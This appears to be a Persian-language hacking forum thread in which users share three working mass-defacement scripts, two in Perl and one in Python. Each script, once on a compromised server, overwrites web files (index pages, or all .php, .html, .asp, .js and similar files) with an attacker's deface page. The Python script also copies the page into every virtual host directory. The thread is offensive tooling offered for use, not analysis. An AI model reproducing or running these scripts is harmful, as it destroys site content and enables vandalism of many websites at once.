اسکریپت Mass Deface - اسکریپت مس دیفیس

[kingdeface]

اسکریپت پرل برای مس دیفیس  Mass Deface Script Perl

.

#!/usr/local/bin/perl
################################## ABOUT ###################################################
$VERSION="Version 0.1 by LorD";
$about =
"\n\e[32m--== [ \e[31mIRAN HACKERS SABOATGE Tools for Mass Defacement $VERSION \e[32m] ==--\e[m\n".
"\e[36mContact:\e[m\n".
"\t \e[33m@\e[m\e[34mE-Mail\e[m: \e[36mlord\e[m\e[31m\@\e[m\e[36mihsteam.com\e[m\n".
"\t \e[33m#\e[m\e[34mIRC: \e[36mIRC.Zirc.org\e[m - channel \e[33m#\e[m\e[32mIHS\e[m\n".
"\n\e[31m=-=-=-=-=-=\e[m".
"\n\e[36mInfo:\e[m\n".
"\t\e[33m-d\e[m \e[31m=\e[m \e[33mDiretory that We Want be Massdeface\e[m\n".
"\t\e[33m-f\e[m \e[31m=\e[m \e[33mfile name that u want to attack for mass deafce\e[m\n".
"\t\e[33m-n\e[m \e[31m=\e[m \e[33mlocation of attacker deface page.\e[m\n".
"\e[36mExemplo:\e[m\nperl $0.pl \e[33m-d\e[m /www \e[33m-f\e[m index. \e[33m-n\e[m /tmp/index.html\n".
"\e[31m=-=-=-=-=-=\e[m\n";
############################################################################################
use Getopt::Std;
getopts('d:f:n:', \%args);
if (defined($args{'d'})){$dir=$args{'d'};}else{$dir="";}
if (defined($args{'f'})){$file=$args{'f'};}else{$file="";}
if (defined($args{'n'})){$newfile=$args{'n'};}else{$newfile="";}

print $about;

$dirok="\e[33m[+]\e[m Ok, Diretory that wanna be Massdeface: \e[32m$dir\e[m";
$fileok="\e[33m[+]\e[m Ok, O file name for attack: \e[32m$file\e[m";
$newfileok="\e[33m[+]\e[m Ok, location of attacker index file: \e[32m$newfile\e[m";

if("$dir") {
print "$dirok\n";
sleep(1);
} else {
exit();
}
if("$file") {
print "$fileok\n";
sleep(1);
}
else
{
print "";
exit();
}
if("$newfile") {
print "$newfileok\n";
sleep(1);
}
else
{
print "";
exit();
}

printf "\e[33m[+]\e[m Start Defacing......\n";
my @troca;
find($dir, sub { push(@troca, $_[0]) if ($_[0] =~ /$file/i) });
my $quantidade = scalar(@troca);

if($quantidade<=0) {
print "\e[31m[-]\e[m Erro: Nenhum Arquivo encontrado.\n";sleep(1);
print "\e[31m[-]\e[m Coloque a extencao do arquivo.\n";sleep(1);
print "\e[31m[-]\e[m Ou, Apenas arquivo. [Sem extencao].\n";sleep(1);
exit();
}

printf "\e[33m[+]\e[m Ok, found: \e[32m$quantidade\e[m files...\n";sleep(1);
printf "\e[33m[+]\e[m Defacing index files.\n";
open(NEW, "< $newfile");
foreach $files(@troca)
{
open(FILE, "> $files");
while (<NEW>) {
print FILE $_;
}
close(FILE);
seek(NEW, 0, 0);
}
close(NEW);
sleep(1);
printf "\e[33m[+]\e[m hax0r3d Sucessfull!\n";sleep(1);
printf "\e[33m[+]\e[m Total files that defaced: \e[32m$quantidade\e[m\n";
sub find {
my ($path, $callback) = @_;
$path = '/' unless $path;
$path =~ s/^\/+/\//;
$path =~ s/\/$//;
my @files = list_dir($path);
my @dirs;
foreach my $file (@files) {
my $filepath = $path.'/'.$file;
&{$callback}($filepath);
push(@dirs, $filepath) if (-d $filepath);
}
undef(@files);
map { find($_, $callback) } @dirs;
return(1);
}
sub list_dir {
my ($dir, $dont_list_subdirs) = @_;
opendir(DIR, $dir) || return();
my @files = readdir(DIR);
closedir(DIR);
@files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs);
my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;
return(@files);
}  

.

[C0d3!Nj3ct!0n]

درود

 

اینم یه اسکریپت پرل دیگه برای مس دیفیس :

#!/usr/bin/perl -w

#Masss Defacer v2.0

# Coded By illuz1oN

# Creditz - Nostur

$def = 'YOUR LAME DEFACE PAGE HERE =)';

{        print "[+]DEFACING...\n";

        print"[+]DEFACING .PHP FILES...\n";

       my @php = glob("*.php"); #Files

    foreach my $deface(@php){

    open(DEFACE, '>', $deface);

    print DEFACE $def || print "[-]Fxcked up: $!\n";

    close(DEFACE)

  }

        print "[+]DEFACING .HTML FILES...\n";

        my @html = glob("*.html"); #Files

    foreach my $deface(@html){

    open(DEFACE, '>', $deface);

    print DEFACE $def || print "[-]Fxcked up: $!\n";

    close(DEFACE)

  }

        print "[+]DEFACING .ASP FILES...\n";

       my @asp = glob("*.asp"); #Files

    foreach my $deface(@asp){

    open(DEFACE, '>', $deface);

    print DEFACE $def || print "[-]Fxcked up: $!\n";

    close(DEFACE)

  }

        print "[+]DEFACING .ASPX FILES...\n";

       my @aspx = glob("*.aspx"); #Files

    foreach my $deface(@aspx){

    open(DEFACE, '>', $deface);

    print DEFACE $def || print "[-]Fxcked up: $!\n";

    close(DEFACE)

  }

        print "[+]DEFACING .HTM FILES...\n";

      my @htm = glob("*.htm"); #Files

    foreach my $deface(@htm){

    open(DEFACE, '>', $deface);

    print DEFACE $def || print "[-]Fxcked up: $!\n";

    close(DEFACE)

  }

        print "[+]DEFACING .JS FILES...\n";

   my @js = glob("*.js"); #Files

    foreach my $deface(@js){

    open(DEFACE, '>', $deface);

    print DEFACE $def || print "[-]Fxcked up: $!\n";

    close(DEFACE)

  }

        print "[+]DEFACING .AC FILES...\n";

       my @ac = glob("*.ac"); #Files

    foreach my $deface(@ac){

    open(DEFACE, '>', $deface);

    print DEFACE $def || print "[-]Fxcked up: $!\n";

    close(DEFACE)

  }

  print "[+]Pages Should Be Defaced!\n";

}

#Coded By illuz1oN

#Credits - Nostur! 

}

موفق باشید.

[Goodzilam]

مس دیفیسر Python
 

import os
# commands to get folders
ndir = os.popen("find * -maxdepth 0 -type d | wc -l")
ndir = ndir.read()
ndir = int(ndir)
dirl = os.popen("find * -maxdepth 0 -type d")
dirl = dirl.read()
dirn = []
x = 0
# writing each folder to a list
for i in range(ndir):
    name = ""
    while dirl[x] != '\n':
        name += dirl[x]
        x += 1
    x += 1
    dirn.append(name)
# MassDeface Process
for folder in range(ndir):
    # WebDir path 
    cmd = "cp index.php /var/www/vhosts/"+dirn[folder]+"/httpdocs/"
    os.system(cmd)
    print("http://"+dirn[folder]+"/index.php")